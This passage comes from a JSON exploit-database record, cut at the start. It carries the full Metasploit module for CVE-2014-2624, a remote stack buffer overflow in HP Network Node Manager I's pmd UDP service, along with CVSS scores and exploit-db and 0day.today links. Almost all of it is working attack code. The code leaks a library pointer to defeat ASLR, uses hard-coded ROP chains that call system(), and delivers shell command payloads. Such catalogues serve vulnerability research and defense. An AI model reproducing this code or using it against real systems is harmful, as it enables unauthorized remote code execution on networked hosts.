packet\r\n data = \"\\x00\" * (0xfa4 - hdr.length)\r\n\r\n hdr + data\r\n end\r\n\r\n def base(address, offset)\r\n address - offset\r\n end\r\n\r\n def find_ov_base(t, data)\r\n print_status(\"Searching #{t.name} pointers...\")\r\n i = 0\r\n data.unpack(\"V*\").each do |int|\r\n if base(int, t['ov_offset']) % 0x1000 == 0\r\n print_status(\"Pointer 0x#{int.to_s(16)} found at offset #{i * 4}\")\r\n @ov_base = base(int, t['ov_offset'])\r\n return true\r\n end\r\n i = i + 1\r\n end\r\n\r\n false\r\n end\r\n\r\n def auto_target(data)\r\n targets.each do |t|\r\n next if t.name == 'Automatic'\r\n if find_ov_base(t, data)\r\n return t\r\n end\r\n end\r\n\r\n nil\r\n end\r\n\r\nend", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/34866/"}], "zdt": [{"lastseen": "2018-04-03T00:14:37", "bulletinFamily": "exploit", "description": "Exploit for linux platform in category remote exploits", "modified": "2014-10-02T00:00:00", "published": "2014-10-02T00:00:00", "id": "1337DAY-ID-22714", "href": "https://0day.today/exploit/description/22714", "type": "zdt", "title": "HP Network Node Manager I PMD Buffer Overflow Exploit", "sourceData": "##\r\n# This module requires Metasploit: http//metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n \r\nrequire 'msf/core'\r\n \r\nclass Metasploit3 < Msf::Exploit::Remote\r\n Rank = NormalRanking\r\n \r\n include Msf::Exploit::Remote::Udp\r\n \r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'HP Network Node Manager I PMD Buffer Overflow',\r\n 'Description' => %q{\r\n This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The\r\n vulnerability exists in the pmd service, due to the insecure usage of functions like\r\n strcpy and strcat while handling stack_option packets with user controlled data. In\r\n order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from\r\n the stack and finally build the rop chain to avoid NX.\r\n },\r\n 'Author' =>\r\n [\r\n 'd(-_-)b', # Vulnerability discovery\r\n 'juan vazquez' # Metasploit module\r\n ],\r\n 'References' =>\r\n [\r\n ['CVE', '2014-2624'],\r\n ['ZDI', '14-305']\r\n ],\r\n 'Payload' =>\r\n {\r\n 'BadChars' => \"\\x00\",\r\n 'Space' => 3000,\r\n 'DisableNops' => true,\r\n 'Compat' =>\r\n {\r\n 'PayloadType' => 'cmd cmd_bash',\r\n 'RequiredCmd' => 'generic python perl openssl bash-tcp gawk'\r\n }\r\n },\r\n 'Arch' => ARCH_CMD,\r\n 'Platform' => 'unix',\r\n 'Targets' =>\r\n [\r\n ['Automatic', {}],\r\n ['HP NNMi 9.10 / CentOS 5',\r\n {\r\n # ptr to .rodata with format specifier\r\n #.rodata:0003BE86 aS_1 db '%s',0\r\n 'ov_offset' => 0x3BE86,\r\n :rop => :rop_hp_nnmi_9_10\r\n }\r\n ],\r\n ['HP NNMi 9.20 / CentOS 6',\r\n {\r\n # ptr to .rodata with format specifier\r\n #.rodata:0003C2D6 aS_1 db '%s',0\r\n 'ov_offset' => 0x3c2d8,\r\n :rop => :rop_hp_nnmi_9_20\r\n }\r\n ]\r\n ],\r\n 'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.20\r\n 'DisclosureDate' => 'Sep 09 2014',\r\n 'DefaultTarget' => 0\r\n ))\r\n \r\n register_options([ Opt::RPORT(7426) ], self.class)\r\n end\r\n \r\n def check\r\n header = [\r\n 0x2a5, # pmdmgr_init pkt\r\n 0x3cc, # signature\r\n 0xa0c, # signature\r\n 0xca8 # signature\r\n ].pack(\"V\")\r\n \r\n data = \"\\x00\" * (0xfa4 - header.length)\r\n \r\n pkt = header + data\r\n \r\n connect_udp\r\n udp_sock.put(pkt)\r\n res = udp_sock.timed_read(8, 1)\r\n if res.blank?\r\n # To mitigate MacOSX udp sockets behavior\r\n # see https://dev.metasploit.com/redmine/issues/7480\r\n udp_sock.put(pkt)\r\n res = udp_sock.timed_read(8)\r\n end\r\n disconnect_udp\r\n \r\n if res.blank?\r\n return Exploit::CheckCode::Unknown\r\n elsif res.length == 8 && res.unpack(\"V\").first == 0x2a5\r\n return Exploit::CheckCode::Detected\r\n else\r\n return Exploit::CheckCode::Unknown\r\n end\r\n end\r\n \r\n def exploit\r\n connect_udp\r\n # info leak with a \"proto_tbl\" packet\r\n print_status(\"Sending a 'proto_tbl' request...\")\r\n udp_sock.put(proto_tbl_pkt)\r\n \r\n res = udp_sock.timed_read(13964, 1)\r\n if res.blank?\r\n # To mitigate MacOSX udp sockets behavior\r\n # see https://dev.metasploit.com/redmine/issues/7480\r\n udp_sock.put(proto_tbl_pkt)\r\n res = udp_sock.timed_read(13964)\r\n end\r\n \r\n if res.blank?\r\n fail_with(Failure::Unknown, \"Unable to get a 'proto_tbl' response...\")\r\n end\r\n \r\n if target.name == 'Automatic'\r\n print_status(\"Fingerprinting target...\")\r\n my_target = auto_target(res)\r\n fail_with(Failure::NoTarget, \"Unable to autodetect target...\") if my_target.nil?\r\n else\r\n my_target = target\r\n fail_with(Failure::Unknown, \"Unable to leak libov base address...\") unless find_ov_base(my_target, res)\r\n end\r\n \r\n print_good(\"Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...\")\r\n \r\n # exploit with a \"stack_option_pkt\" packet\r\n udp_sock.put(stack_option_pkt(my_target, @ov_base))\r\n \r\n disconnect_udp\r\n end\r\n \r\n def rop_hp_nnmi_9_10(ov_base)\r\n rop = rand_text_alpha(775)\r\n rop << [0x808d7c1].pack(\"V\") # pop ebx ; pop ebp ; ret\r\n rop << [ov_base + 0x481A8].pack(\"V\") # ebx: libov .got\r\n rop << [0x8096540].pack(\"V\") # ptr to .data where user controlled string will be stored:\r\n # \"PMD Stack option specified, but stack not available (user_controlled)\"\r\n rop << [0x808d7c2].pack(\"V\") # pop ebp # ret\r\n rop << [0x08096540 + 4732].pack(\"V\") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)\r\n rop << [ov_base + 0x1D692].pack(\"V\") # ptr to 'call _system' sequence:\r\n #.text:0001D692 lea eax, [ebp+dest]\r\n #.text:0001D698 push eax ; command\r\n #.text:0001D699 call _system\r\n rop\r\n end\r\n \r\n def rop_hp_nnmi_9_20(ov_base)\r\n rop = rand_text_alpha(775)\r\n rop << [0x808dd70].pack(\"V\") # pop eax ; pop ebx ; pop ebp ; ret\r\n rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack(\"V\") # eax: ptr to 'call _system' sequence\r\n #.text:0001DAE6 lea eax, [ebp+dest] (dest = -0x1028)\r\n #.text:0001DAEC push eax ; command\r\n #.text:0001DAED call _system\r\n rop << [0x08097160].pack(\"V\") # ebx: ptr to .data where user controlled string will be stored:\r\n # \"PMD Stack option specified, but stack not available (user_controlled)\"\r\n rop << rand_text_alpha(4) # ebp: padding\r\n rop << [0x804fb86].pack(\"V\") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)\r\n rop << [0x8049ac4].pack(\"V\") # xchg eax, edi ; ret\r\n rop << [0x808dd70].pack(\"V\") # pop eax ; pop ebx ; pop ebp ; ret\r\n rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack(\"V\") # eax: libov .got base\r\n rop << rand_text_alpha(4) # ebx: padding\r\n rop << [0x8097160 + 4764].pack(\"V\") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)\r\n rop << [0x804fb86].pack(\"V\") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)\r\n rop << [0x805a58d].pack(\"V\") # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got)\r\n rop << [0x8049ac4].pack(\"V\") # xchg eax, edi ; ret ; (eax: call to system sequence from libov)\r\n rop << [0x80528BC].pack(\"V\") # jmp eax\r\n \r\n rop\r\n end\r\n \r\n def stack_option_pkt(t, ov_base)\r\n hdr = [0x2a9].pack(\"V\") # stack_option packet\r\n data = \"-SA\" # stack name (invalid one 'A')\r\n data << \";\" # separator\r\n data << self.send(t[:rop], ov_base) # malformed stack options\r\n data << payload.encoded\r\n data << \";\\n\"\r\n data << \"\\x00\" * (0xfa4 - data.length - hdr.length)\r\n \r\n hdr + data\r\n end\r\n \r\n def proto_tbl_pkt\r\n hdr = [0x2aa].pack(\"V\") # proto_tbl packet\r\n data = \"\\x00\" * (0xfa4 - hdr.length)\r\n \r\n hdr + data\r\n end\r\n \r\n def base(address, offset)\r\n address - offset\r\n end\r\n \r\n def find_ov_base(t, data)\r\n print_status(\"Searching #{t.name} pointers...\")\r\n i = 0\r\n data.unpack(\"V*\").each do |int|\r\n if base(int, t['ov_offset']) % 0x1000 == 0\r\n print_status(\"Pointer 0x#{int.to_s(16)} found at offset #{i * 4}\")\r\n @ov_base = base(int, t['ov_offset'])\r\n return true\r\n end\r\n i = i + 1\r\n end\r\n \r\n false\r\n end\r\n \r\n def auto_target(data)\r\n targets.each do |t|\r\n next if t.name == 'Automatic'\r\n if find_ov_base(t, data)\r\n return t\r\n end\r\n end\r\n \r\n nil\r\n end\r\n \r\nend\n\n# 0day.today [2018-04-02] #", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://0day.today/exploit/22714"}]}